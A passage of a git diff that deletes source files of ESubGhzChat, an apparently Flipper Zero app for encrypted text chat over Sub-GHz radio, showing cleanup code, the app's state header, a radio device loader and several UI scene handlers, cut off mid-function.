|
|
||||||
/* close GUI record */
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
|
|
||||||
/* remove our two views from the view dispatcher */
|
|
||||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Menu);
|
|
||||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Input);
|
|
||||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
|
|
||||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
|
|
||||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
|
|
||||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
|
|
||||||
|
|
||||||
/* close notification record */
|
|
||||||
furi_record_close(RECORD_NOTIFICATION);
|
|
||||||
|
|
||||||
/* clear the key and potential password */
|
|
||||||
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
|
|
||||||
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
|
|
||||||
crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
|
|
||||||
crypto_ctx_clear(state->crypto_ctx);
|
|
||||||
|
|
||||||
/* clear nfc data */
|
|
||||||
if(state->nfc_dev_data->parsed_data != NULL) {
|
|
||||||
furi_string_free(state->nfc_dev_data->parsed_data);
|
|
||||||
}
|
|
||||||
crypto_explicit_bzero(state->nfc_dev_data, sizeof(NfcDeviceData));
|
|
||||||
|
|
||||||
/* deinit devices */
|
|
||||||
radio_device_loader_end(state->subghz_device);
|
|
||||||
|
|
||||||
subghz_devices_deinit();
|
|
||||||
|
|
||||||
/* exit suppress charge mode */
|
|
||||||
furi_hal_power_suppress_charge_exit();
|
|
||||||
|
|
||||||
/* free everything we allocated */
|
|
||||||
|
|
||||||
crypto_ctx_free(state->crypto_ctx);
|
|
||||||
|
|
||||||
err_alloc_crypto:
|
|
||||||
free(state->nfc_dev_data);
|
|
||||||
|
|
||||||
err_alloc_ndevdata:
|
|
||||||
nfc_worker_free(state->nfc_worker);
|
|
||||||
|
|
||||||
err_alloc_nworker:
|
|
||||||
subghz_tx_rx_worker_free(state->subghz_worker);
|
|
||||||
|
|
||||||
err_alloc_worker:
|
|
||||||
popup_free(state->nfc_popup);
|
|
||||||
|
|
||||||
err_alloc_np:
|
|
||||||
dialog_ex_free(state->key_display);
|
|
||||||
|
|
||||||
err_alloc_kd:
|
|
||||||
chat_box_free(state);
|
|
||||||
|
|
||||||
err_alloc_cb:
|
|
||||||
byte_input_free(state->hex_key_input);
|
|
||||||
|
|
||||||
err_alloc_hki:
|
|
||||||
text_input_free(state->text_input);
|
|
||||||
|
|
||||||
err_alloc_ti:
|
|
||||||
menu_free(state->menu);
|
|
||||||
|
|
||||||
err_alloc_menu:
|
|
||||||
helper_strings_free(state);
|
|
||||||
|
|
||||||
err_alloc_hs:
|
|
||||||
view_dispatcher_free(state->view_dispatcher);
|
|
||||||
|
|
||||||
err_alloc_vd:
|
|
||||||
scene_manager_free(state->scene_manager);
|
|
||||||
|
|
||||||
err_alloc_sm:
|
|
||||||
free(state);
|
|
||||||
|
|
||||||
err_alloc:
|
|
||||||
if(err != 0) {
|
|
||||||
FURI_LOG_E(APPLICATION_NAME, "Failed to launch (alloc error)!");
|
|
||||||
} else {
|
|
||||||
FURI_LOG_I(APPLICATION_NAME, "Clean exit.");
|
|
||||||
}
|
|
||||||
|
|
||||||
return err;
|
|
||||||
}
|
|
||||||
124
applications/external/esubghz_chat/esubghz_chat_i.h
vendored
@@ -1,124 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <furi.h>
|
|
||||||
#include <gui/view_dispatcher_i.h>
|
|
||||||
#include <gui/view_port_i.h>
|
|
||||||
#include <gui/scene_manager.h>
|
|
||||||
#include <gui/modules/byte_input.h>
|
|
||||||
#include <gui/modules/dialog_ex.h>
|
|
||||||
#include <gui/modules/menu.h>
|
|
||||||
#include <gui/modules/popup.h>
|
|
||||||
#include <gui/modules/text_box.h>
|
|
||||||
#include <gui/modules/text_input.h>
|
|
||||||
#include <notification/notification_messages.h>
|
|
||||||
#include <lib/nfc/nfc_worker.h>
|
|
||||||
#include <lib/subghz/subghz_tx_rx_worker.h>
|
|
||||||
#include <toolbox/sha256.h>
|
|
||||||
|
|
||||||
#include "crypto_wrapper.h"
|
|
||||||
#include "scenes/esubghz_chat_scene.h"
|
|
||||||
|
|
||||||
#include "esubghz_chat_icons.h"
|
|
||||||
#include <assets_icons.h>
|
|
||||||
|
|
||||||
#define APPLICATION_NAME "ESubGhzChat"
|
|
||||||
|
|
||||||
#define DEFAULT_FREQ 433920000
|
|
||||||
|
|
||||||
#define KEY_READ_POPUP_MS 3000
|
|
||||||
|
|
||||||
#define RX_TX_BUFFER_SIZE 1024
|
|
||||||
|
|
||||||
#define CHAT_BOX_STORE_SIZE 4096
|
|
||||||
#define TEXT_INPUT_STORE_SIZE 256
|
|
||||||
#define MSG_PREVIEW_SIZE 32
|
|
||||||
|
|
||||||
#define KEY_HEX_STR_SIZE ((KEY_BITS / 8) * 3)
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
SceneManager* scene_manager;
|
|
||||||
ViewDispatcher* view_dispatcher;
|
|
||||||
NotificationApp* notification;
|
|
||||||
|
|
||||||
// UI elements
|
|
||||||
Menu* menu;
|
|
||||||
TextBox* chat_box;
|
|
||||||
FuriString* chat_box_store;
|
|
||||||
TextInput* text_input;
|
|
||||||
char text_input_store[TEXT_INPUT_STORE_SIZE + 1];
|
|
||||||
ByteInput* hex_key_input;
|
|
||||||
uint8_t hex_key_input_store[KEY_BITS / 8];
|
|
||||||
DialogEx* key_display;
|
|
||||||
char key_hex_str[KEY_HEX_STR_SIZE + 1];
|
|
||||||
Popup* nfc_popup;
|
|
||||||
|
|
||||||
// for Sub-GHz
|
|
||||||
uint32_t frequency;
|
|
||||||
SubGhzTxRxWorker* subghz_worker;
|
|
||||||
const SubGhzDevice* subghz_device;
|
|
||||||
|
|
||||||
// for NFC
|
|
||||||
NfcWorker* nfc_worker;
|
|
||||||
NfcDeviceData* nfc_dev_data;
|
|
||||||
|
|
||||||
// message assembly before TX
|
|
||||||
FuriString* name_prefix;
|
|
||||||
FuriString* msg_input;
|
|
||||||
|
|
||||||
// message preview
|
|
||||||
char msg_preview[MSG_PREVIEW_SIZE + 1];
|
|
||||||
|
|
||||||
// encryption
|
|
||||||
bool encrypted;
|
|
||||||
ESubGhzChatCryptoCtx* crypto_ctx;
|
|
||||||
|
|
||||||
// RX and TX buffers
|
|
||||||
uint8_t rx_buffer[RX_TX_BUFFER_SIZE];
|
|
||||||
uint8_t tx_buffer[RX_TX_BUFFER_SIZE];
|
|
||||||
char rx_str_buffer[RX_TX_BUFFER_SIZE + 1];
|
|
||||||
volatile uint32_t last_time_rx_data;
|
|
||||||
|
|
||||||
// for locking
|
|
||||||
ViewPortDrawCallback orig_draw_cb;
|
|
||||||
ViewPortInputCallback orig_input_cb;
|
|
||||||
bool kbd_locked;
|
|
||||||
uint32_t kbd_lock_msg_ticks;
|
|
||||||
uint8_t kbd_lock_count;
|
|
||||||
|
|
||||||
// for ongoing inputs
|
|
||||||
bool kbd_ok_input_ongoing;
|
|
||||||
bool kbd_left_input_ongoing;
|
|
||||||
bool kbd_right_input_ongoing;
|
|
||||||
} ESubGhzChatState;
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
ESubGhzChatEvent_FreqEntered,
|
|
||||||
ESubGhzChatEvent_KeyMenuNoEncryption,
|
|
||||||
ESubGhzChatEvent_KeyMenuPassword,
|
|
||||||
ESubGhzChatEvent_KeyMenuHexKey,
|
|
||||||
ESubGhzChatEvent_KeyMenuGenKey,
|
|
||||||
ESubGhzChatEvent_KeyMenuReadKeyFromNfc,
|
|
||||||
ESubGhzChatEvent_KeyReadPopupFailed,
|
|
||||||
ESubGhzChatEvent_KeyReadPopupSucceeded,
|
|
||||||
ESubGhzChatEvent_PassEntered,
|
|
||||||
ESubGhzChatEvent_HexKeyEntered,
|
|
||||||
ESubGhzChatEvent_MsgEntered,
|
|
||||||
ESubGhzChatEvent_GotoMsgInput,
|
|
||||||
ESubGhzChatEvent_GotoKeyDisplay,
|
|
||||||
ESubGhzChatEvent_KeyDisplayBack,
|
|
||||||
ESubGhzChatEvent_KeyDisplayShare,
|
|
||||||
} ESubGhzChatEvent;
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
ESubGhzChatView_Menu,
|
|
||||||
ESubGhzChatView_Input,
|
|
||||||
ESubGhzChatView_HexKeyInput,
|
|
||||||
ESubGhzChatView_ChatBox,
|
|
||||||
ESubGhzChatView_KeyDisplay,
|
|
||||||
ESubGhzChatView_NfcPopup,
|
|
||||||
} ESubGhzChatView;
|
|
||||||
|
|
||||||
void set_chat_input_header(ESubGhzChatState* state);
|
|
||||||
void append_msg(ESubGhzChatState* state, const char* msg);
|
|
||||||
void tx_msg_input(ESubGhzChatState* state);
|
|
||||||
void enter_chat(ESubGhzChatState* state);
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define NFC_MAX_BYTES 256
|
|
||||||
#define NFC_CONFIG_PAGES 4
|
|
||||||
|
|
||||||
struct FreqNfcEntry {
|
|
||||||
uint32_t frequency;
|
|
||||||
uint32_t unused1;
|
|
||||||
uint32_t unused2;
|
|
||||||
uint32_t unused3;
|
|
||||||
} __attribute__((packed));
|
|
||||||
|
|
||||||
struct ReplayDictNfcEntry {
|
|
||||||
uint64_t run_id;
|
|
||||||
uint32_t counter;
|
|
||||||
uint32_t unused;
|
|
||||||
} __attribute__((packed));
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
@@ -1,65 +0,0 @@
|
|||||||
#include "radio_device_loader.h"
|
|
||||||
|
|
||||||
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
|
|
||||||
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
|
|
||||||
|
|
||||||
static void radio_device_loader_power_on() {
|
|
||||||
uint8_t attempts = 0;
|
|
||||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
|
||||||
furi_hal_power_enable_otg();
|
|
||||||
//CC1101 power-up time
|
|
||||||
furi_delay_ms(10);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void radio_device_loader_power_off() {
|
|
||||||
if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg();
|
|
||||||
}
|
|
||||||
|
|
||||||
bool radio_device_loader_is_connect_external(const char* name) {
|
|
||||||
bool is_connect = false;
|
|
||||||
bool is_otg_enabled = furi_hal_power_is_otg_enabled();
|
|
||||||
|
|
||||||
if(!is_otg_enabled) {
|
|
||||||
radio_device_loader_power_on();
|
|
||||||
}
|
|
||||||
|
|
||||||
const SubGhzDevice* device = subghz_devices_get_by_name(name);
|
|
||||||
if(device) {
|
|
||||||
is_connect = subghz_devices_is_connect(device);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!is_otg_enabled) {
|
|
||||||
radio_device_loader_power_off();
|
|
||||||
}
|
|
||||||
return is_connect;
|
|
||||||
}
|
|
||||||
|
|
||||||
const SubGhzDevice* radio_device_loader_set(
|
|
||||||
const SubGhzDevice* current_radio_device,
|
|
||||||
SubGhzRadioDeviceType radio_device_type) {
|
|
||||||
const SubGhzDevice* radio_device;
|
|
||||||
|
|
||||||
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
|
|
||||||
radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
|
|
||||||
radio_device_loader_power_on();
|
|
||||||
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
|
|
||||||
subghz_devices_begin(radio_device);
|
|
||||||
} else if(current_radio_device == NULL) {
|
|
||||||
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
|
|
||||||
} else {
|
|
||||||
radio_device_loader_end(current_radio_device);
|
|
||||||
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
|
|
||||||
}
|
|
||||||
|
|
||||||
return radio_device;
|
|
||||||
}
|
|
||||||
|
|
||||||
void radio_device_loader_end(const SubGhzDevice* radio_device) {
|
|
||||||
furi_assert(radio_device);
|
|
||||||
radio_device_loader_power_off();
|
|
||||||
// Code below is not used (and will cause crash) since its called from tx_rx worker end!
|
|
||||||
//if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
|
|
||||||
// subghz_devices_end(radio_device);
|
|
||||||
//}
|
|
||||||
}
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <lib/subghz/devices/devices.h>
|
|
||||||
|
|
||||||
/** SubGhzRadioDeviceType */
|
|
||||||
typedef enum {
|
|
||||||
SubGhzRadioDeviceTypeInternal,
|
|
||||||
SubGhzRadioDeviceTypeExternalCC1101,
|
|
||||||
} SubGhzRadioDeviceType;
|
|
||||||
|
|
||||||
const SubGhzDevice* radio_device_loader_set(
|
|
||||||
const SubGhzDevice* current_radio_device,
|
|
||||||
SubGhzRadioDeviceType radio_device_type);
|
|
||||||
|
|
||||||
void radio_device_loader_end(const SubGhzDevice* radio_device);
|
|
||||||
@@ -1,59 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
|
|
||||||
/* Prepares the text box scene. */
|
|
||||||
void scene_on_enter_chat_box(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_box");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
text_box_reset(state->chat_box);
|
|
||||||
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
|
|
||||||
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the text box scene. */
|
|
||||||
bool scene_on_event_chat_box(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_box");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* switch to message input scene */
|
|
||||||
case ESubGhzChatEvent_GotoMsgInput:
|
|
||||||
if(!scene_manager_previous_scene(state->scene_manager)) {
|
|
||||||
view_dispatcher_stop(state->view_dispatcher);
|
|
||||||
}
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
case ESubGhzChatEvent_GotoKeyDisplay:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyDisplay);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the text box scene. */
|
|
||||||
void scene_on_exit_chat_box(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_box");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
text_box_reset(state->chat_box);
|
|
||||||
}
|
|
||||||
@@ -1,107 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
|
|
||||||
/* If no message was entred this simply emits a MsgEntered event to the scene
|
|
||||||
* manager to switch to the text box. If a message was entered it is appended
|
|
||||||
* to the name string. The result is encrypted, if encryption is enabled, and
|
|
||||||
* then copied into the TX buffer. The contents of the TX buffer are then
|
|
||||||
* transmitted. The sent message is appended to the text box and a MsgEntered
|
|
||||||
* event is sent to the scene manager to switch to the text box view. */
|
|
||||||
static bool chat_input_validator(const char* text, FuriString* error, void* context) {
|
|
||||||
UNUSED(error);
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
/* no message, just switch to the text box view */
|
|
||||||
if(strlen(text) == 0) {
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* concatenate the name prefix and the actual message */
|
|
||||||
furi_string_set(state->msg_input, state->name_prefix);
|
|
||||||
furi_string_cat_str(state->msg_input, ": ");
|
|
||||||
furi_string_cat_str(state->msg_input, text);
|
|
||||||
|
|
||||||
/* append the message to the chat box and prepare message preview */
|
|
||||||
append_msg(state, furi_string_get_cstr(state->msg_input));
|
|
||||||
|
|
||||||
/* encrypt and transmit message */
|
|
||||||
tx_msg_input(state);
|
|
||||||
|
|
||||||
/* clear message input buffer */
|
|
||||||
furi_string_set_char(state->msg_input, 0, 0);
|
|
||||||
|
|
||||||
/* switch to text box view */
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the message input scene. */
|
|
||||||
void scene_on_enter_chat_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
state->text_input_store[0] = 0;
|
|
||||||
text_input_reset(state->text_input);
|
|
||||||
/* use validator for scene change to get around minimum length
|
|
||||||
* requirement */
|
|
||||||
text_input_set_result_callback(
|
|
||||||
state->text_input,
|
|
||||||
NULL,
|
|
||||||
NULL,
|
|
||||||
state->text_input_store,
|
|
||||||
sizeof(state->text_input_store),
|
|
||||||
true);
|
|
||||||
text_input_set_validator(state->text_input, chat_input_validator, state);
|
|
||||||
set_chat_input_header(state);
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the message input scene. */
|
|
||||||
bool scene_on_event_chat_input(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* switch to text box scene */
|
|
||||||
case ESubGhzChatEvent_MsgEntered:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatBox);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case SceneManagerEventTypeBack:
|
|
||||||
/* stop the application if the user presses back here */
|
|
||||||
view_dispatcher_stop(state->view_dispatcher);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the password input scene. */
|
|
||||||
void scene_on_exit_chat_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
text_input_reset(state->text_input);
|
|
||||||
}
|
|
||||||
@@ -1,108 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
|
|
||||||
/* Sends FreqEntered event to scene manager and enters the chat. */
|
|
||||||
static void freq_input_cb(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
enter_chat(state);
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_FreqEntered);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Validates the entered frequency. */
|
|
||||||
static bool freq_input_validator(const char* text, FuriString* error, void* context) {
|
|
||||||
furi_assert(text);
|
|
||||||
furi_assert(error);
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
int ret = sscanf(text, "%lu", &(state->frequency));
|
|
||||||
if(ret != 1) {
|
|
||||||
furi_string_printf(error, "Please enter\nfrequency\nin Hz!");
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!subghz_devices_is_frequency_valid(state->subghz_device, state->frequency)) {
|
|
||||||
furi_string_printf(error, "Frequency\n%lu\n is invalid!", state->frequency);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
#ifdef FW_ORIGIN_Official
|
|
||||||
if(!furi_hal_region_is_frequency_allowed(state->frequency)) {
|
|
||||||
#else /* FW_ORIGIN_Official */
|
|
||||||
if(!furi_hal_subghz_is_tx_allowed(state->frequency)) {
|
|
||||||
#endif /* FW_ORIGIN_Official */
|
|
||||||
furi_string_printf(error, "TX forbidden\non frequency\n%lu!", state->frequency);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the frequency input scene. */
|
|
||||||
void scene_on_enter_freq_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_freq_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
snprintf(state->text_input_store, TEXT_INPUT_STORE_SIZE, "%lu", state->frequency);
|
|
||||||
text_input_reset(state->text_input);
|
|
||||||
text_input_set_result_callback(
|
|
||||||
state->text_input,
|
|
||||||
freq_input_cb,
|
|
||||||
state,
|
|
||||||
state->text_input_store,
|
|
||||||
sizeof(state->text_input_store),
|
|
||||||
true);
|
|
||||||
text_input_set_validator(state->text_input, freq_input_validator, state);
|
|
||||||
text_input_set_header_text(state->text_input, "Frequency");
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the frequency input scene. */
|
|
||||||
bool scene_on_event_freq_input(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_freq_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* switch to message input scene */
|
|
||||||
case ESubGhzChatEvent_FreqEntered:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatInput);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case SceneManagerEventTypeBack:
|
|
||||||
/* stop the application if the user presses back here */
|
|
||||||
view_dispatcher_stop(state->view_dispatcher);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the frequency input scene. */
|
|
||||||
void scene_on_exit_freq_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_freq_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
text_input_reset(state->text_input);
|
|
||||||
}
|
|
||||||
@@ -1,80 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
|
|
||||||
/* Sets the entered bytes as the key and sends a HexKeyEntered event to the
|
|
||||||
* scene manager. */
|
|
||||||
static void hex_key_input_cb(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
/* initiate the crypto context */
|
|
||||||
bool ret = crypto_ctx_set_key(
|
|
||||||
state->crypto_ctx, state->hex_key_input_store, state->name_prefix, furi_get_tick());
|
|
||||||
|
|
||||||
/* cleanup */
|
|
||||||
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
|
|
||||||
|
|
||||||
if(!ret) {
|
|
||||||
crypto_ctx_clear(state->crypto_ctx);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->encrypted = true;
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_HexKeyEntered);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the hex key input scene. */
|
|
||||||
void scene_on_enter_hex_key_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_hex_key_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
byte_input_set_result_callback(
|
|
||||||
state->hex_key_input,
|
|
||||||
hex_key_input_cb,
|
|
||||||
NULL,
|
|
||||||
state,
|
|
||||||
state->hex_key_input_store,
|
|
||||||
sizeof(state->hex_key_input_store));
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the hex key input scene. */
|
|
||||||
bool scene_on_event_hex_key_input(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_hex_key_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* switch to frequency input scene */
|
|
||||||
case ESubGhzChatEvent_HexKeyEntered:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the hex key input scene. */
|
|
||||||
void scene_on_exit_hex_key_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_hex_key_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
|
|
||||||
}
|
|
||||||
@@ -1,145 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
|
|
||||||
void key_display_result_cb(DialogExResult result, void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
switch(result) {
|
|
||||||
case DialogExResultLeft:
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyDisplayBack);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case DialogExResultCenter:
|
|
||||||
if(state->encrypted) {
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_KeyDisplayShare);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the key display scene. */
|
|
||||||
void scene_on_enter_key_display(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_display");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
if(state->encrypted) {
|
|
||||||
uint8_t key[KEY_BITS / 8];
|
|
||||||
crypto_ctx_get_key(state->crypto_ctx, key);
|
|
||||||
snprintf(
|
|
||||||
state->key_hex_str,
|
|
||||||
KEY_HEX_STR_SIZE,
|
|
||||||
"%02hX%02hX%02hX%02hX"
|
|
||||||
"%02hX%02hX%02hX%02hX\n"
|
|
||||||
"%02hX%02hX%02hX%02hX"
|
|
||||||
"%02hX%02hX%02hX%02hX\n"
|
|
||||||
"%02hX%02hX%02hX%02hX"
|
|
||||||
"%02hX%02hX%02hX%02hX\n"
|
|
||||||
"%02hX%02hX%02hX%02hX"
|
|
||||||
"%02hX%02hX%02hX%02hX",
|
|
||||||
key[0],
|
|
||||||
key[1],
|
|
||||||
key[2],
|
|
||||||
key[3],
|
|
||||||
key[4],
|
|
||||||
key[5],
|
|
||||||
key[6],
|
|
||||||
key[7],
|
|
||||||
key[8],
|
